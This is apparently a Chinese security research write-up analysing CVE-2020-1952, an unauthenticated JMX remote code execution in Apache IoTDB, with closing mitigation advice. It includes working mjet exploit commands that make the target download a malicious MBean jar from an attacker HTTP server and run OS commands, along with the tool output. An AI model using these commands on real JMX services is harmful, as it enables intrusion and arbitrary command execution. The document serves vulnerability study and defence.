Apache IoTDB 远程代码执行(CVE-2020-1952)分析
作者:hu4wufu@白帽汇安全研究院
核对:r4v3zn@白帽汇安全研究院
前言
JMX
JMX(Java Management Extensions)是一种Java技术,主要为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。也就是java版本的SNMP(简单网络管理协议),JMX与SNMP另一个共同点就是,JMX不仅能远程系统读取值,还可以用于调用远程系统的方法。
我们可以看一下整体架构:
![]()
从上面的架构图可以看到JMX主要分三层,分别是:
1、设备层(Instrumentation Level)
主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
设备层其实就是和被管设备通信的模块,对于上层的管理者来说,Instrumentation 就是设备,具体设备如何通信,是采用SNMP,还是采用ICMP,是MBean的事情。
该层定义了如何实现JMX管理资源的规范。一个JMX管理资源可以是一个Java应用、一个服务或一个设备,它们可以用Java开发,或者至少能用Java进行包装,并且能被置入JMX框架中,从而成为JMX的一个管理构件(Managed Bean),简称MBean。管理构件可以是标准的,也可以是动态的,标准的管理构件遵从JavaBeans构件的设计模式;动态的管理构件遵从特定的接口,提供了更大的灵活性。
在JMX规范中,管理构件定义如下:它是一个能代表管理资源的Java对象,遵从一定的设计模式,还需实现该规范定义的特定的接口。该定义了保证了所有的管理构件以一种标准的方式来表示被管理资源。
管理接口就是被管理资源暴露出的一些信息,通过对这些信息的修改就能控制被管理资源。一个管理构件的管理接口包括:
1) 能被接触的属性值
2) 能够执行的操作
3) 能发出的通知事件
4) 管理构件的构建器
Standard MBean是最简单的MBean,它管理的资源必须定义在接口中,然后MBean必须实现这个接口。它的命名也必须遵循一定的规范,例如我们的MBean为Hello,则接口必须为HelloMBean。
2、代理层(Agent Level)
Agent层 用来管理相应的资源,并且为远端用户提供访问的接口。Agent层构建在设备层之上,并且使用并管理设备层内部描述的组件。Agent层主要定义了各种服务以及通信模型。该层的核心是 MBeanServer,所有的MBean都要向它注册,才能被管理。注册在MBeanServer上的MBean并不直接和远程应用程序进行通信,他们通过 协议适配器(Adapter) 和 连接器(Connector) 进行通信。通常Agent由一个MBeanServer和多个系统服务组成。JMX Agent并不关心它所管理的资源是什么。
3、分布服务层(Distributed Service Level)
分布服务层关心Agent如何被远端用户访问的细节。它定义了一系列用来访问Agent的接口和组件,包括Adapter和Connector的描述。
MBean
利用JMX,我们可以像托管bean一样来管理各种资源。托管bean(MBean)是遵循JMX标准的某些设计规则的Java Bean类。MBean可以表示设备、应用程序或需要通过JMX管理的任何资源。您可以通过JMX来访问这些MBean,比如查询属性和调用Bean方法。
并不是所有的java类都能被管理,只有按照特定格式编写的java类才能被JMX管理。这种特定格式机制我们称为MBean。
JMX标准在不同的MBean类型之间有所差异,但是,我们这里只处理标准MBean。为了成为有效的MBean,Java类必须:
- 实现一个接口
- 提供默认的构造函数(不带任何参数)
- 遵循某些命名约定,例如实现
getter/setter方法来读/写属性
创建一个MBean,首先需要定义一个接口。下面给出一个最简单的MBean示例:
package de.mogwailabs.MBeans;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
下一步是为已定义的接口提供一个实现。注意,其名称应该始终与接口保持一致,除掉后缀“MBean”部分。
package de.mogwailabs.MBeans;
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
MBean服务器
MBean服务器是一种管理系统MBean的服务。开发人员可以按照特定的命名模式在服务器中注册MBean。MBean服务器将传入的消息转发给已注册的MBean。该服务还负责将消息从MBean转发给外部组件。
默认情况下,每个Java进程都会运行一个MBean服务器服务,我们可以通过ManagementFactory.getPlatformMBeanServer();来访问它。下面给出的示例代码将“连接”到当前进程的MBean服务器,并打印输出所有已注册的MBean:
package de.mogwailabs.MBeanClient;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanClient {
publicstatic void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
System.out.println( server.getMBeanCount() );
// Print out each registered MBean
for ( ob ject ob ject :server.queryMBeans(new ob jectName("*:*"), null) ) {
System.out.println( ((ob jectInstance)ob ject).getob jectName() );
}
}
}
要想创建可以通过MBean服务器供外部调用的MBean实例,则需要使用ob jectName类完成相应的注册。每个MBean的名称,不仅要遵循对象命名约定,同时,还必须是独一无二的。名称分为域(通常是包)名和对象名两个部分。对象名称应包含“type”属性。如果给定域中只能有一个给定类型的实例,那么除了type属性之外,通常不应该有任何其他属性。
对于已经实现的MBean,我们需要MBeanServer。可以将MBeanServer理解为一个MBean的仓库,需要监控的MBean都需要先注册到仓库中。向MBeanServer注册MBean有两种方式,一是本地注册,二是远程注册。远程注册就为我们执行任意代码提供了可能。然后jdk有一些MBean,其中有一个MBean叫mlet。让我们能够在本地向远端注册MBean。
漏洞概况
在Apache IoTDB 0.9.0到0.9.1和0.8.0到0.8.2中发现了一个问题。在启动IoTDB时,JMX端口31999无需任何认证即可暴露,然后客户端可以远程执行代码。
这个漏洞原理是基于RMI的JMX服务,攻击者可以远程注册一个恶意的 MBean,再去调用里面的用于执行命令的方法达到攻击效果。
首先是MBeanServer提供了一套远程注册MBean的机制,本地向MBeanserver注册一个MBean,也就是Mlet,Mlet是实现了一个函数getMBeansFromURL(url),这个函数能够加载并实例化我们指定的远程MBean,从而导致了我们的恶意payloadMBean被加载注册到MBeanServer上,导致任意命令执行。
然后让目标机远程加载我们部署的恶意MBean,并在目标机上创建这个MBean,然后就可以用JMX协议控制这个恶意的MBean,通过Runtime类的exec方法执行命令。
环境准备
测试环境:JDK 1.8.0_131、jython2.7.0、apache-iotdb-0.9.0
iotdb下载地址:https://archive.apache.org/dist/incubator/iotdb/
poc下载地址:https://github.com/mogwailabs/mjet
这里iotdb可以下载源码调试,本文采取的是远程调试。
sbin目录下的start-server.sh配置:
![]()
idea配置:
![]()
这里poc使用了jython的环境进行调试,先在历史版本下载所需要的jython的版本。
下载地址:https://search.maven.org/artifact/org.python/jython-installer
然后安装后配置idea,为Jython项目配置环境。打开idea,打开Preferences在Plugins下,搜索安装插件python,点击install:
![]()
然后就可以创建jython项目了。
![]()
我们将恶意的jar包和mejt.py拷贝进去。
![]()
配置poc如下:
![]()
漏洞复现
poc:
java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000
java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"
首先部署恶意MBean,第一个ip是易受攻击者ip,运行着易受攻击的JMX服务,第二个ip是攻击者的ip,JMX服务将连接到攻击者的Web服务,以下载有效载荷jar文件,mjet将在端口8000上启动必要的Web服务。
成功安装MBean后,默认密码将改为命令行提供的密码super_secret
hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.10.182:31999/jmxrmi
[+] Connected: rmi://10.10.10.182 2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.10.10.182:8000/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET / HTTP/1.1" 200 -
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET /azmzjazz.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
安装有效负载后,我们执行OS命令,在目标中运行命令“ls -l”
hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:31999/jmxrmi
[+] Connected: rmi://10.10.10.182 3
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -l
total 56
drwxr-xr-x@ 3 hu4wufu staff 96 9 7 21:43 data
-rw------- 1 hu4wufu staff 165 9 7 15:02 nohup.out
-rwx------@ 1 hu4wufu staff 2002 11 20 2019 start-client.bat
-rwx------@ 1 hu4wufu staff 1556 9 8 18:14 start-client.sh
-rwx------@ 1 hu4wufu staff 3126 9 8 16:36 start-server.bat
-rwx------@ 1 hu4wufu staff 2054 9 9 14:41 start-server.sh
-rwx------ 1 hu4wufu staff 1034 8 26 2019 stop-server.bat
-rwx------ 1 hu4wufu staff 999 8 26 2019 stop-server.sh
![]()
漏洞分析
我们先来看一下远程注册MBean的过程,这里payload使用的是jython环境。
首先来解释一下poc,每一个MBean都需要实现一个接口,而且这个接口的命名是有讲究的,必须以MBean结尾,例如这里是编写了一个MogwailLabsPayloadMBean接口,然后我们需要实现这个MBean,同样这个实现的命名是去掉对应接口的的MBean后缀,也就是MogwailLabsPayload。在MogwailLabsPayload里边的方法,我们注册到MBeanServer后面可以随便调用。
![]()
根据poc,我们来看一下mjet.py的installMode()函数,往JMX里边注册mjet。
![]()
跟进installMode()函数,开始连接JMX服务。
![]()
跟进connectToJMX()函数,这里首先创建SSL连接,然后判断jmxmp的类型,这里可知是jxmrmi,然后就是确定JMX的地址和端口。这里一开始将我们设置的参数带入,包括设置的密码,以及payload的url地址和端口,还有就是就是JMX服务地址和端口。
![]()
bean_server创建结束,主要作用是与iotDB里边的JMX通信。
接下来跟进去mjet.py的installMBean()函数,这里JMX开始在目标服务器上创建MBeanjavax.management.loading.MLet的实例,(然后调用MLet实例的getMBeansFromURL方法,将Web服务器URL作为参数进行传递。JMX服务将连接到http服务器装载的恶意MBean对象,也就是事先准备好的MogwaiLabsPayload。每个MBean都需要都需要一个接口,而且这个接口的命名必须要以MBean结尾。
![]()
开始加载远程的一个恶意的MBean。进行一个远程的方法调用,创建一个javax.management.loading.MLet的类对象。
![]()
我们跳到了iotDB里边,来看一下如何创建一个的MLet,最早是调用了javax.management.remote.rmi.RMIConnectionImpl:239$createMBean()方法
可以看到传递过来的方法对象,以及rmi服务地址。
![]()
我们进入javax.managment.remote.rmi.RMIConnectionImpl:1309$doOperation(),接下来就是对参数进行操作。
![]()
跟进去doOperation()方法,operation为3,调用MBeanServer.createMBean()方法。
![]()
直接跟进javax.management.loading.MLet.java,调用mlet的构造方法,开始实例化一个Mlet的对象。
![]()
![]()
加载完成javax.management.loading.MLet,开始调用MBean实例的getMBeansFromURL方法,将Web服务器URL作为参数进行传递。JMX服务将从存放恶意类的http服务器上解析恶意的MBean,装载恶意的MBean对象,也就是事先准备好的MogwaiLabsPayload。
![]()
同样进行javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation的操作,跟进,我们跟到javax.management.remote.rmi.RMIConnectionImpl$doOperation(),这里获取MBeanServer的getdefaultdomain(),也就是返回MBean的默认域。
![]()
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor:1088,这里MLet指定的MBean被实例化,并在MBean服务器中注册。
![]()
最终在com.sun.jmx.mbeanserver.Repository:489注册了类型为Mlet的恶意的MBean。
![]()
operation为14即javax.management.remote.rmi.RMIConnectionImpl:1468然后远程调用Mlet的getMBeansFromURL方法。
![]()
com.sun.jmx.mbeanserver.JmxMBeanServer:801
![]()
成功加载恶意的MBean。
![]()
接着往下,根据poc,开始修改默认密码为一开始命令行输入的参数。
![]()
javax.management.remote.rmi.RMIConnectionImpl$doOperation:1468 同样先获取恶意MBean的实例,反射调用远程方法,这里是MogwaiLabsPayload的changePassword方法。
![]()
开始在MBeanServer的注册中心检索名称为MogwaiLabs的对象,也就是我们之前加载进去的恶意MBean。
![]()
至此,恶意的MBean已经加载到服务器上,恶意MBean可通过JMX获取,攻击者可通过密码执行任意命令。
接下来我们来看下命令执行的过程,首先连接JMX服务,传入要执行的命令和之前设置的密码。
![]()
然后调用getob jectInstance()创建之前加载的恶意类的实例。
![]()
然后反射远程调用任意方法,这里调用的是MogwaiLabsPayload的runCMD方法。
![]()
![]()
最终在调用ProcessBuilder()方法执行系统命令。
![]()
![]()
总结
JMX漏洞是一个通用型漏洞,如果遇到java系统开启JMX服务的都可以使用该漏洞poc测试一下。
在iotDB的0.9.2版本以后是默认设置JMX_LOCAL="true"关闭远程访问,当想开启远程连接的时候,JMX_local改成false,这时候就采用用户名密码控制。
所以启用身份验证来保护JMX服务是非常重要的,否则的话,JMX服务就很容易被攻击者入侵。实际上,JMX自身已经提供了这种功能,包括对TLS加密连接的支持。
除了启用身份验证之外,还应该确保JDK环境是最新的,因为攻击者可能会尝试使用Java反序列化漏洞来利用底层RMI实现;如果没有及时更新的话,启用了身份验证也无济于事。
参考
- https://nosec.org/home/detail/2544.html
- https://github.com/mogwailabs/mjet
- https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md
- https://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&oq=cache%3Ahttps%3A%2F%2Fwww.optiv.com%2Fblog%2Fexploiting-jmx-rmi&aqs=chrome%E2%80%A669i57j69i58.1641j0j7&sourceid=chrome&ie=UTF-8
- https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409
- https://mp.weixin.qq.com/s/FtXFO1m0me4WErvj141nQQ
- https://www.cnblogs.com/trust-freedom/p/6842332.html

花屋敷 1850天前
评论正在提交,请稍等...
最新评论